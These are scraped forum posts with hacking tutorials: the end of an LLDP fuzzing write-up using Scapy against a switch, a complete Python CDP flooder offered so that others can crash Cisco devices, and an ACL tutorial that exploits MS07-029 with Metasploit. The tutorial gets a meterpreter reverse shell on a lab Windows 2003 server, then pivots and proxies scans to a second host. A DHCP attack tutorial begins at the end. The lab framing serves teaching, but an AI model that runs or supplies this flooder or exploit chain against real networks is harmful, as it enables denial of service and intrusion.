lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
lldpChassisID.length        = 0x101#0x07            #Define Frame Length
lldpChassisID.subtype        = 0x06#0x04            #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName        = StringGen(256)

LLDP: LLDP lldp refresh pkt sent out port : 3
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3

2.8 LLDP Neighbor Database flooding the second

Quote from: Jeremy Hollander
In the fifth test case we send a burst of 1000 LLDP packets with a TTL TLV of 15 seconds. While each LLDP packet is legal according to the protocol we wish to test whether the receiving agent may have a mechanism in place which would restrict it from receiving a large amount of packets in a short period of time, especially if the Time To Live TLV states that the information received is fresh for 15 seconds.

I already tested this but I thought let's give the 15 seconds TTL a try :)

Code: (python) [Select]
lldpttl.sec            = 15                #TTL in sec
LLDP: LLDP lldp neighbor limit exceeded - port : 3
LLDP: LLDP lldp pkt received on port : 3

Still no luck

2.9 End of LLDPDU with two-byte payload

Quote from: Jeremy Hollander
According to the LLDP specification the End Of LLDPDU TLV may never contain any payload. In the sixth test case we send a packet with a two-byte payload attached to the End Of LLDPDU TLV. In addition we leave the information string length field to zero. Since the End Of LLDPDU TLV is always placed at the end of a packet it has a crucial location in terms of finding a vulnerability in the remote system. Because the recipient of the packet may not allocate any storage for the payload as the informationstring length states that there is no payload, it is possible that the payload which in this case is two bytes long may overwrite some data located on the recipient’s executable stack. This may prove to be fatal as the recipient may unknowingly execute malicious code injected by the sender in the payload of this packet if that payload overwrites memory from the executable stack.

First we need to edit the lldp.py in the scapy contrib folder slightly:

Code: (python) [Select]
class LLDPEndOfPdu(LLDPGeneric):
    name = "LLDP End of LLDPDU"
    fields_desc=[BitEnumField("type", 0x00, 7, _LLDP_tlv_types),
    BitField("length", 0x00, 9),
    BitField("test", 0x0101, 16)]

and the fuzzer:
Code: (python) [Select]
lldpEnd             = LLDPEndOfPdu()        #Start definition of LLDP End of LLDPPDU
lldpEnd.type             = 0x00                #LLDP TLV Type 0 = End of LLDPPDU
lldpEnd.length             = 0x00                #Define Frame length
lldpEnd.test            = 0x0101

LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3

Seems like the switches accepts the packet but ignores the additional End of LLDPDU payload

2.10 End of LLDPDU with two-byte payload and correct length

Quote from: Jeremy Hollander
The seventh test case is very similar in fashion to the previous test case. The only difference is that we provide the actual payload in the information string length. The purpose of this test case is to determine whether the recipient of this LLDP packet would malfunction if it receives an End Of LLDPDU TLV with an information string length not equal to zero.

Code: (python) [Select]
    lldpEnd             = LLDPEndOfPdu()        #Start definition of LLDP End of LLDPPDU
lldpEnd.type             = 0x00                #LLDP TLV Type 0 = End of LLDPPDU
lldpEnd.length             = 0x02                #Define Frame length
lldpEnd.test            = 0x0101

LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3

It really seems as the switch would accept these packages. This could be a point for further investigation. For now I am not quite sure if the switch takes the additional payload or if it is simply ignored. To be honest I have no clue how to get the required information but I will go on reseachring and post it here as soon as I have some new information. Maybe someone else can give me a hint???

2.11 illegal System Capabilities TLV information string

Quote from: Jeremy Hollander
In the eighth test case we send an illegal System Capabilities TLV information string. The optional System Capabilities TLV is used to identify the primary functions of the sender and whether or not these primary functions are enabled. These functions may include a repeater capability, bridge capability, wireless LAN access point capability or router capability. There are in total seven functions with another eight reserved for future use. An example of a legal message would include information about a device being capable of acting as a bridge and wireless LAN access point however at the time the message is sent only the wireless LAN access point functionality is enabled. In this test case the malformed packet specifies that the sender’s system may only function as a bridge (the third lowest bit specifies the bridge functionality) however at the time the message is sent the bridge and wireless LAN access point functionalities enabled (the fourth lowest bit specifies the wireless LAN access point functionality). This is an inconsistency which must be rejected by the recipient of this packet. In this test case we attempt to determine whether the recipient has consistency-checks in place. If no such checks are present an error may occur.

Code: (python) [Select]
lldpSysCap            = LLDPSystemCapabilities()    #Start definition of LLDP System Capabilities TLV
lldpSysCap.type         = 0x07                #LLDP TLV Type 7 = System Capabilities
lldpSysCap.length        = 0x04                #Define Frame Length
lldpSysCap.capabilities        = 0x04#'router'            #Capabilities = router
lldpSysCap.enabledCapabilities     = 0x0c#'router'            #enabled Capabilities = router

LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3

Again the switch accepts the packet but it seems like it is doing validation as the capabilities are not listed:

Code: [Select]
LLDP Remote Device Information Detail

  Local Port   : 3
  ChassisType  : mac-address         
  ChassisId    : 00 01 30 57 fe 0c       
  PortType     : interface-name
  PortId       : 919                     
  SysName      : UYJvJtx2IHZR                 
  System Descr : t4nXZmpPwTuk2QwrNWlciokexhq8juSbMSFGqtYjMgMsbxWFzMqwce8Tg...
  PortDescr    : NC14b1wMxsE3gepkpSdkZy                                     

  System Capabilities Supported  :
  System Capabilities Enabled    :

  Remote Management Address
     Type    : all802
     Address : 00 01 30 58 5c e2

2.12 missing mandatory TLV

Quote from: Jeremy Hollander
In the ninth test case we wish to find out whether the recipient’s LLDP agent has implemented the protocol at its most basic level. In this test case the Port ID TLV is missing. According to the specification the LLDPDU must be checked to ensure that it contains the correct sequence of mandatory TLVs.

we already know that :) no need to test it again. (see: 2.7 for example)

2.13 wrong IP value in Chassis ID TLV

Quote from: Jeremy Hollander
The tenth test case sends a Chassis ID TLV with an IPv4 address yet specifies that it is providing an IPv6 address. The purpose of this test case is to find out whether the recipient’s LLDP agent will fail upon receiving the wrong type of IP address even though the address provided is a valid version 4 address.

Again we need to edit lldp.py in the scapy contrib folder cause the script does not allow Address Family 2 with an IPv4 Address:

Code: (python) [Select]
ConditionalField(IP6Field("ipaddr", "2001:0db8:0000:08d3:0000:8a2e:0070:7344"), lambda pkt: pkt.ipaddrfam == 0x01),
ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.ipaddrfam == 0x02),

We have just switched both conditions with each other.

Code: (python) [Select]
lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
lldpChassisID.length        = 0x06                #Define Frame Length
lldpChassisID.subtype        = 0x05#0x04            #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
lldpChassisID.ipaddrfam        = 0x02   
lldpChassisID.ipaddr        = '192.168.1.1'

The Fuzzer script part for it
Code: (python) [Select]
lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
    lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
    lldpChassisID.length        = 0x06                #Define Frame Length
    lldpChassisID.subtype        = 0x05#0x04            #Use Chassis ID subtype 4 = MAC Address
    #lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
    lldpChassisID.ipaddrfam        = 0x02   
    lldpChassisID.ipaddr        = '192.168.1.1'

Code: [Select]
LLDP Remote Device Information Detail

  Local Port   : 3
  ChassisType  : network-address     
  ChassisId    : 02 c0 a8 01 01           
  PortType     : interface-name
  PortId       : 658                     
  SysName      : bFUj1BpwgGDj                 
  System Descr : Qo8yXHwgE7uUYJ59BKxSd8xj6Hmvj1T4ryc9bNj55Q59CFZFe6NrABmQu...
  PortDescr    : EuznbBH4eQJVM6AmlFUl3Q                                     

  System Capabilities Supported  : router
  System Capabilities Enabled    : router

  Remote Management Address
     Type    : all802
     Address : 00 01 30 4d 6e 60

Seems like the switch does not validate it and took the IPv4 address

So... guess thats all now. I would really like to provide some more findings. It really took me a ling time to make all of this and hopefully somebody likes it and can use these information. If someone has ideas on how I should go on I would really love to hear them.
Thanks for reading

Cheers,
RBA


12
Scripting Languages / [Python] fun with scapy: CDP flooder
« on: October 28, 2012, 11:35:59 am »
Hi,

I created the following script for my collection. Maybe someone wants to try it. The script produces CDP (Cisco Discovery Protocol) Packets with random source MAC, source IP address and device ID. Shooting a large amount of these packets against a CDP capable device could lead to a crash. If you want to run this script you need to have python 2.7.x and scapy-dev installed.

Scapy installation:
http://www.secdev.org/projects/scapy/doc/installation.html (follow the steps under Latest release)

What is CDP:
http://www.cisco.com/en/US/docs/ios/12_1/configfun/configuration/guide/fcd301c.html

CDP Packet format:
http://www.cisco.com/univercd/cc/td/doc/product/lan/trsrb/frames.htm

Vulnerability explanation:
http://securityvulns.com/Cdocument84.html

Cisco Advisory:
www.cisco.com/application/pdf/paws/13621/cdp_issue.pdf

Code: (Python) [Select]
from scapy.all import *
from sys import argv
from sys import exit
import string
import random

load_contrib('cdp')

if len(argv) != 2:
    print "Usage: cdp_flooder.py [number of packets]"
    exit(0)


def cdpDeviceIDgen(size=2, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
        return ''.join(random.choice(chars) for x in range(size))

def cdppacketgen():
       
        etherframe      = Ether()                       #Start definition of Ethernet Frame
        etherframe.dst  = '01:00:0c:cc:cc:cc'           #Set Ethernet Frame destination MAC to Ciscos Broadcast MAC
        etherframe.src  = RandMAC()                     #Set Random source MAC address
        etherframe.type = 0x011e                        #CDP uses Type field for length information
       
        llcFrame      = LLC()                           #Start definition of Link Layer Control Frame
        llcFrame.dsap = 170                             #DSAP: SNAP (0xaa) IG Bit: Individual
        llcFrame.ssap = 170                             #SSAP: SNAP (0xaa) CR Bit: Command
        llcFrame.ctrl = 3                               #Control field Frame Type: Unumbered frame (0x03)
       
        snapFrame      = SNAP()                         #Start definition of SNAP Frame (belongs to LLC Frame)
        snapFrame.OUI  = 12                             #Organization Code: Cisco hex(0x00000c) = int(12)
        snapFrame.code = 8192                           #PID (EtherType): CDP hex(0x2000) = int(8192)
       
        cdpHeader      = CDPv2_HDR()                    #Start definition of CDPv2 Header
        cdpHeader.vers = 1                              #CDP Version: 1 - its always 1
        cdpHeader.ttl  = 180                            #TTL: 180 seconds
       
        cdpDeviceID      = CDPMsgDeviceID()             #Start definition of CDP Message Device ID
        cdpDeviceID.type = 1                            #Type: Device ID hex(0x0001) = int(1)
        cdpDeviceID.len  = 6                            #Length: 6 (Type(2) -> 0x00 0x01) + (Length(2) -> 0x00 0x0c) + (DeviceID(2))                             
        cdpDeviceID.val  = cdpDeviceIDgen()             #Generate random Device ID (2 chars uppercase + int = lowercase)
       
        cdpAddrv4         = CDPAddrRecordIPv4()         #Start Address Record information for IPv4 belongs to CDP Message Address
        cdpAddrv4.ptype   = 1                           #Address protocol type: NLPID
        cdpAddrv4.plen    = 1                           #Protocol Length: 1
        cdpAddrv4.proto   = '\xcc'                      #Protocol: IP
        cdpAddrv4.addrlen = 4                           #Address length: 4 (e.g. int(192.168.1.1) = hex(0xc0 0xa8 0x01 0x01)
        cdpAddrv4.addr    = str(RandIP())               #Generate random source IP address
       
        cdpAddr       = CDPMsgAddr()                    #Start definition of CDP Message Address
        cdpAddr.type  = 2                               #Type: Address (0x0002)                 
        cdpAddr.len   = 17                              #Length: hex(0x0011) = int(17)
        cdpAddr.naddr = 1                               #Number of addresses: hex(0x00000001) = int(1)
        cdpAddr.addr  = [cdpAddrv4]                     #Pass CDP Address IPv4 information
       
        cdpPortID       = CDPMsgPortID()                #Start definition of CDP Message Port ID
        cdpPortID.type  = 3                             #type: Port ID (0x0003)
        cdpPortID.len   = 13                            #Length: 13
        cdpPortID.iface = 'Ethernet0'                   #Interface string (can be changed to what you like - dont forget the length field)
       
        cdpCapabilities        = CDPMsgCapabilities()   #Start definition of CDP Message Capabilities
        cdpCapabilities.type   = 4                      #Type: Capabilities (0x0004)
        cdpCapabilities.length = 8                      #Length: 8
        cdpCapabilities.cap    = 1                      #Capability: Router (0x01), TB Bridge (0x02), SR Bridge (0x04), Switch that provides both Layer 2 and/or Layer 3 switching (0x08), Host (0x10), IGMP conditional filtering (0x20) and Repeater (0x40)
       
        cdpSoftVer      = CDPMsgSoftwareVersion()       #Start definition of CDP Message Software Version
        cdpSoftVer.type = 5                             #Type: Software Version (0x0005)
        cdpSoftVer.len  = 216                           #Length: 216
        cdpSoftVer.val  = 'Cisco Internetwork Operating System Software \nIOS (tm) 1600 Software (C1600-NY-L), Version 11.2(12)P, RELEASE SOFTWARE (fc1)\nCopyright (c) 1986-1998 by cisco Systems, Inc.\nCompiled Tue 03-Mar-98 06:33 by dschwart'
       
        cdpPlatform      = CDPMsgPlatform()             #Statr definition of CDP Message Platform
        cdpPlatform.type = 6                            #Type: Platform (0x0006)
        cdpPlatform.len  = 14                           #Length: 14
        cdpPlatform.val  = 'cisco 1601'                 #Platform = cisco 1601 (can be changed, dont forget the Length)
       
       
        #Assemble Packet
    print etherframe.src+' -> '+etherframe.dst+' / Device ID: '+cdpDeviceID.val+' / src IP: '+cdpAddrv4.addr
        cdppacket = etherframe/llcFrame/snapFrame/cdpHeader/cdpDeviceID/cdpAddr/cdpPortID/cdpCapabilities/cdpSoftVer/cdpPlatform
        return cdppacket

i = 0
while i < int(argv[1]):
    i += 1
   
    packet = cdppacketgen()
    sendp(packet, verbose=0)


And here a short video that shows the script in action against a Cisco Catalyst C3524XL
http://videobam.com/eTOXO

*Edit: modified the script slightly to have a better output. Now it looks like this:
Code: [Select]
redbull@evilbook:/cdp_flooder$ sudo python scapy_cdp_flooder_ez.py 5
d7:5c:0f:45:42:19 -> 01:00:0c:cc:cc:cc / Device ID: IG / src IP: 250.105.194.85
bd:da:58:60:f7:79 -> 01:00:0c:cc:cc:cc / Device ID: uA / src IP: 193.229.147.10
f6:41:78:a6:6d:32 -> 01:00:0c:cc:cc:cc / Device ID: 3q / src IP: 127.89.134.254
e7:09:56:5c:af:0d -> 01:00:0c:cc:cc:cc / Device ID: o9 / src IP: 245.159.88.89
dc:70:73:4f:cc:15 -> 01:00:0c:cc:cc:cc / Device ID: 6c / src IP: 26.255.119.229

13
Hi all,

I thought it is time again to write a little tutorial about networking, security features that can be implemented and how to get pass them. I haven't had enough time the last month cause I was focused on learning python. Now I'll take a break to write a new tutorial based on Access Control Lists, how to test them and how to get through them with metasploits pivoting feature.

Contents
- Resources used for this tutorial
- Stuff I used for testing
- Basic concepts of ACLs
- static and dynamic ACLs
- Three different types of ACLs
- Elements of an ACL
- Standard and extended ACLs
- Examples and Additional Information
- Where can ACLs be found
- The lab setup

1. Resources used for this tutorial
- HP Networking student guides
- HP Networking configuration guides
- Cisco student guides
- HP and Cisco website
- various other websites
- Metasploit Tutorials I found on the web
 
2. Stuff I used for testing
- HP ProCurve 2910
- three notebooks/vms (1x Windows 2003 File Server, 1x Another Windows 2003 File Server, 1x Attacker: Backtrack 5R3)

3. Basic concepts of ACLs
Access Control lists can help to improve network performance and restrict network use. An ACL specifies criteria the switch uses to either permit (forward) or deny (drop) IP packets traversing a switch interface.
- Criteria may include Layer 3 and Layer 4
- Can filter IP traffic to or from a host, a group of hosts, or entire subnets

An ACL consists of one or more ACEs (Access Control Entries)
- Each ACE defines the criteria, traffic direction and action taken

An ACL can be assigned to a port (port-based ACLs) or a VLAN interface (vlan ACL - VACL or routed ACL - RACL). A typical approach is to determine specific conditions under which you want to allow traffic to pass and then define the ACEs that expressly deny traffic.

After layout of the VLANs has been planned, ACLs can be used to determine the types and destinations of traffic to be allowed. ACLs provide an effective mechanism for filtering traffic. Without the application of traffic filters, each routing switch interface accepts packets from attached hosts and forwards the traffic based on its forwarding tables. However, there may be situations where you do not want all traffic to be forwarded, such as for security or traffic efficiency purposes.

Short info about ACLs and network design
ACLs can be useful at both the network edge as well as the network core and distribution levels.

- At the network edge, ACLs can be useful for preventing unwanted or unnecessary IP packets from entering the network infrastructure. Implementing ACLs at the network edge can help improve network performance by reducing the volume of packets that are handled by upstream switches and routers which also helps reduce system resource usage in the form of buffers and CPU utilization.

- Implementing ACLs in the network core and distribution levels can be useful for security and performance purposes. ACLs can be used to ensure various collections of clients only have access to selected destinations. These destinations may be specific, hosts, entire subnets, or even particular applications. For security purposes, you may want to ensure communications are restricted, for instance, that all hosts and servers in a given VLAN are only allowed to communicate within that VLAN or with a limited number of other specific VLANs.

4. Static and Dynamic ACLs (on switches)
Some switches provide the ability to assign Access Control Lists in two different ways (static and dynamic)

Static ACLs
Using static ACLs implies that you are configuring ACLs on the switch and storing them in the switch configuration file. Once a static ACL is applied to a physical port or a VLAN interface, the ACL is “fixed” until you later modify or remove it.

Dynamic ACLs
Using dynamic ACLs involves configuring them on an external system such as a RADIUS server. A dynamic ACL can only be applied to a physical port and its application to a port is triggered dynamically based on the successful authentication of a client. The application of this type of ACL is temporary. That is, the ACL is active for the duration of the client's session. When the client's session ends, the ACL is removed from the port.

5. Three different types of ACLs
As mentioned above there a three different types of implementing an Access Control List on a switch
note: not every switch provides the possibility to create all three types.

Routed ACL (RACL)
- Filters routed IP traffic entering or leaving a static VLAN
- Also filters inbound/outbound traffic to and from the switch itself

VLAN ACL (VACL)
- Filters switched IP traffic entering a static VLAN (destination for same VLAN)

Port-based ACL
- Filters IP traffic entering a physical port or port list
- Traffic may be routed or switched
- Also filters inbound traffic destined for the switch itself

6. Elements of an ACL
Implementing an ACL requires that you first define at least one ACE consisting of the following:

ACL identifier
- Number or an alphanumeric name that identifies a collection of ACEs
- All of the ACEs of an ACL applied to traffic traversing a port or VLAN interface have a common ACL ID

Criteria
- For example source and/or destination IP address that identifies the traffic of interest

Direction
- Inbound or Outbound

Action
- Permit or deny

7. Standard and Extended ACLs
Some switch manufacturers allow the user to implement ACLs with different functionality called standard and extended

Standard
- Supports specification of source IP address criterion only
- ACL ID between 1 and 199

Extended
- Supports additional Layer 3 and Layer 4 packet header criteria (Range of source and destination IP addresses, range of TCP or UDP source or destination ports, ICMP and IGMP message types, IP Precedence or Type of Service (ToS, DiffServices))
- ACL ID is between 100 and 199
- Dynamic port ACLs only use the extended type

Standard and extended ACLs can also use names for ACL IDs
- Can be more convenient to work with when configuring and applying
- Enables more than 199 ACLs to be defined

8. Examples and Additional Information
For an ACL mask, you specify a "0" for significant bit positions, those that must match

Example 1: You want to specifiy all addresses in the range 10.1.10.0 - 10.1.10.255 which have a common value in the first 24 bits
10.1.10.0Binary:00001010 00000001 00001010 00000000
10.1.10.255Binary:00001010 00000001 00001010 11111111
ACL mask:Binary:00000000 00000000 00000000 11111111 <- last 8 bits are not significant

This range can be defined in an ACL as: 10.1.10.0 0.0.0.255 or 10.1.10.0/24

Example 2: You want to specify all addresses in the range: 10.1.32.0 - 10.1.47.255 which have a common value in the first 20 bits
10.1.32.0Binary:00001010 00000001 00100000 00000000
10.1.47.255Binary:00001010 00000001 00101111 11111111
ACL mask:Binary:00000000 00000000 00001111 11111111 <- last 12 bits are not significant

This range can be defined in a ACL as: 10.1.32.0 0.0.15.255 or 10.1.32.0/20

Define standard ACL (procurve)
Configuring a named, standard ACL involves:
- First accessing the "named ACL" (nacl) using the ip access-list command
- Then, the criteria is specified to define each Access Control Entry
Code: [Select]
hpswitch(config)# ip access-list standard "deny-host1"
hpswitch(config-std-nacl)# deny host 10.1.10.15 0.0.0.0

Define extended ACL (procurve)
Code: [Select]
hpswitch(config)# ip access-list extended "somename_acl"
hpswitch(config-ext-nacl)# 10 permit tcp 10.1.10.15 0.0.0.0 10.1.11.15 0.0.0.0 eq 80
hpswitch(config-ext-nacl)# 20 deny ip 10.1.10.15 0.0.0.0 10.1.11.15 0.0.0.0
This ACL would allow 10.1.10.15/32 to access 10.1.11.15 on tcp/80 and denies anything else

Assign an ACL to a port or VLAN (procurve)
Assign ACL to a port
Code: [Select]
hpswitch(config)# interface 1
hpswitch(eth-1)# ip access-group deny-host1 in or out

Assign ACL to a vlan
Code: [Select]
hpswitch(config)# vlan 5
hpswitch(VLAN5)# ip access-group somename_acl in or out

9. Where can ACLs be found
Access Control Lists are widely used and can be found in any type of firewall, a Cisco ASA for example has ACLs that look like:
Code: [Select]
access-list inside_access_in extended permit tcp host Host1 host Host2 object-group DM_INLINE_22 log warningsThis rule would permit ssh access to Host2 from Host1 and would log all warnings.
The equivalent ip tables rule looks similiar to this (without logging):
Code: [Select]
iptables -N blockssh
iptables -A blockssh -p tcp -d 192.168.1.1/32 --dport 22 -j DROP
iptables -A FORWARD -i -j blockssh
This rule allows ssh access to a server with the ip address 192.168.1.1

Enough for the theoretical part. Let's start with fun part and have a look at the lab setup

10. The lab setup



The ACL
Code: [Select]
hpswitch(config)# ip access-list extended "FileServerAccess"
hpswitch(config-ext-acl)# 10 permit ip 10.10.0.0 0.0.0.255 10.10.1.10 0.0.0.0
hpswitch(config-ext-acl)# 20 deny ip 10.10.0.0 0.0.0.255 10.10.1.0 0.0.0.255
hpswitch(config-ext-acl)# vlan 10
hpswitch(VLAN10)# ip access-group "FileServerAccess" in

What type of ACL is it? standard or extended? VACL or RACL?

As you can see on the image the attacker laptop is located in VLAN 5 with a subnet of 10.10.0.0/24 and the servers are located at VLAN 10 with a subnet of 10.10.1.0/24. The given ACL is applied to VLAN 10 and regulates inbound access. The ACL allows connection to FileServer1 and denies anything else. With this ACL assigned FileServer2 is not reachable by the attacker laptop. To see if everything works as expected we can start nmap and scan the VLAN 10 subnet.

Code: [Select]
root@bt:~# nmap -sS 10.10.1.0/24
...
Nmap scan report for 10.10.1.10
PORT     STATE SERVICE
Host is up (0.00086s latency).
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1027/tcp open  IIS
1037/tcp open  ams
1040/tcp open  netsaint
1048/tcp open  neod2
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

MAC Address: 00:50:56:B9:31:4F (VMware)

Nmap done: 254 IP addresses (1 host up) scanned in 30.52 seconds

As you can see I installed some more services on the victim machines to keep it simple and there is only one host in the subnet 10.10.1.0/24 accessable. Btw. the victim is a completely unpatched Windows Server 2003 R2 which has a whole bunch of exploitable vulnerabilies. We will use a very old one that has been critical in 2007 (ms07-029).

1. Start Metasploit, select and configure ms07-029 and finally lunch it

Code: [Select]
msf > use exploit/windows/dcerpc/ms07_029_msdns_zonename
msf  exploit(ms07_029_msdns_zonename) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms07_029_msdns_zonename) > set LHOST 10.10.0.10
LHOST => 192.168.171.134
msf  exploit(ms07_029_msdns_zonename) > set RHOST 10.10.1.10
RHOST => 10.10.1.11
msf  exploit(ms07_029_msdns_zonename) > set TARGET 10
TARGET => 10
msf  exploit(ms07_029_msdns_zonename) > show options

Module options (exploit/windows/dcerpc/ms07_029_msdns_zonename):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   Locale  English          yes       Locale for automatic target (English, French, Italian, ...)
   RHOST   10.10.1.10         yes       The target address
   RPORT   0                yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     10.10.0.10       yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   10  Windows 2003 Server SP1-SP2 German


msf  exploit(ms07_029_msdns_zonename) > exploit

2. After the exploit execution has finished we get a meterpreter reverse tcp shell back.

Code: [Select]
[*] Started reverse handler on 192.168.171.134:4444
[*] Connecting to the endpoint mapper service...
[*] Discovered Microsoft DNS Server RPC service on port 1048
[*] Trying target Windows 2003 Server SP1-SP2 German...
[*] Binding to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:10.10.1.11[0] ...
[*] Bound to 50abc2a4-574d-40b3-9d66-ee4fd5fba076:5.0@ncacn_ip_tcp:10.10.1.11[0] ...
[*] Sending exploit...
[*] Sending stage (752128 bytes) to 10.10.1.11
[*] Meterpreter session 1 opened (192.168.171.134:4444 -> 10.10.1.11:1388) at 2012-09-28 14:36:47 -0400
[-] Error: no response from dcerpc service

meterpreter >

3. First we take a look at the process our meterpreter session is running with
 
Code: [Select]
meterpreter > getpid
Current pid: 1364
meterpreter > ps
...
1364  388   dns.exe            x86   0           $U$NTAUTORITT\SYSTEM-0x4e542d4155544f524954c4545c53595354454d                          C:\WINDOWS\System32\dns.exe
...
we are already running in a process which shouldn't be suspect so we dont need to migrate to another process and we already have System Authority rights meaning we dont need to try to get it (getsystem)

Code: [Select]
Command       Description
-------       -----------
getsystem     Attempt to elevate your privilege to that of local system.
migrate       Migrate the server to another process

Dont want to make this a meterpreter tutorial so I will only focus on the configuration of pivoting

4. Next we take a look at the subnet and then we scan it.

Code: [Select]
meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 65539
============
Name         : Intel(R) PRO/1000 MT-Netzwerkverbindung
Hardware MAC : 00:50:56:B9:31:4F
MTU          : 1500
IPv4 Address : 10.10.1.10
IPv4 Netmask : 255.255.255.0

meterpreter > run netenum -ps -r 192.168.171.0/24
[*] Network Enumerator Meterpreter Script
[*] Log file being saved in /root/.msf4/logs/scripts/netenum/10.10.1.11
[*] Performing ping sweep for IP range 192.168.171.0/24
[*]     10.10.1.11 host found

I guess this is all the needed information for now.

5. Lets put our meterpreter session to the background and create a new route to the unreachable second server with
the meterpreter session ID as argument and test it.

Code: [Select]
meterpreter > background
[*] Backgrounding session 1...
msf  exploit(ms07_029_msdns_zonename) > back
msf > sessions

Active sessions
===============

  Id  Type                   Information                                                                   Connection
  --  ----                   -----------                                                                   ----------
  1   meterpreter x86/win32  $U$NTAUTORITT\SYSTEM-0x4e542d4155544f524954c4545c53595354454d @ W2K3ENTSP2DC  10.10.0.10:4444 -> 10.10.1.10:1388 (10.10.1.10)

msf > route add 10.10.1.11 10.10.1.10 1
[*] Route added

msf > ping 10.10.1.11
[*] exec: ping 10.10.1.11

PING 10.10.1.11 (10.10.1.11) 56(84) bytes of data.
64 bytes from 10.10.1.11: icmp_seq=1 ttl=128 time=0.922 ms
64 bytes from 10.10.1.11: icmp_seq=2 ttl=128 time=1.10 ms
64 bytes from 10.10.1.11: icmp_seq=3 ttl=128 time=1.27 ms
^CInterrupt: use the 'exit' command to quit

msf > use scanner/portscan/tcp
msf  auxiliary(tcp) > set RHOSTS 10.10.1.11
RHOSTS => 10.10.1.11
msf  auxiliary(tcp) > set THREADS 30
THREADS => 30
msf  auxiliary(tcp) > run

[*] 10.10.1.11:53 - TCP OPEN
[*] 10.10.1.11:88 - TCP OPEN
[*] 10.10.1.11:135 - TCP OPEN
[*] 10.10.1.11:139 - TCP OPEN
[*] 10.10.1.11:389 - TCP OPEN
[*] 10.10.1.11:445 - TCP OPEN
[*] 10.10.1.11:464 - TCP OPEN
[*] 10.10.1.11:593 - TCP OPEN
[*] 10.10.1.11:636 - TCP OPEN
[*] 10.10.1.11:1025 - TCP OPEN
[*] 10.10.1.11:1027 - TCP OPEN
[*] 10.10.1.11:1040 - TCP OPEN
[*] 10.10.1.11:1037 - TCP OPEN
[*] 10.10.1.11:1048 - TCP OPEN
[*] 10.10.1.11:3268 - TCP OPEN
[*] 10.10.1.11:3269 - TCP OPEN
[*] Auxiliary module execution completed

You may have recognized that the second server is identical with the first one. This means we now could exploit it with the same attack. So I don't make the tutorial too long I'll leave that part out and this would actually be the end of this tutorial but I want to show one additional nice possibility you can do with pivoting. I showed how you can
use metasploit modules against an unreachable machine with the pivoting feature but how about using other tools through that connection? Here we go.

Use the proxy module to create a proxy within metasploit, set the proxy with proxychains and nmap scan the former
unreachable second server

Code: [Select]
msf  auxiliary(tcp) > use auxiliary/server/socks4a
msf  auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

msf  auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server

root@bt:~# nano /etc/proxychains.conf
...
socks4  127.0.0.1 1080
...

root@bt:~# proxychains nmap -sS 10.10.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
[S-chain]-<>-127.0.0.1:1080-<><>-10.10.1.11-<><>-OK
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-28 16:25 EDT
Nmap scan report for 10.10.1.11
Host is up (0.00031s latency).
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
...

Ok, thats all folks.. hope you enjoyed reading it as much as I enjoyed writing it.

Edit: Nearly forgot to thank Daemon for proofreading again. Thanks Daemon

15
This is a tutorial for DHCP attacks and the possibility to implement protection mechanisms on hp switches.
HP DHCP Protection on a switch is almost exactly the same as the cisco way of implementing this.
 
Contents
- Resources used for this tutorial
- Stuff I used for testing
- What the hell is DHCP
- DHCP vulnerabilities
- How to use these vulnerabilities
- Protecting against DHCP attacks
- Some ideas to get past DHCP protection features
 
1. Resources used for this tutorial
- HP Networking student guides
- HP Networking configuration guides
- Cisco student guides
- HP and Cisco website
- some stuff I used for my own presentations
- various other websites
 
2. Stuff I used for testing
- HP ProCurve 2610
- three notebooks/vms 
(1x DHCP server: Ubuntu 10.04 Server, 1x DHCP client: Ubuntu 10.04 Server, 
 1x fake DHCP: Ubuntu 10.04 Server)
 
3. What the hell is DHCP?
DHCP is short for Dynamic Host Configuration Protocol and allows the assigment
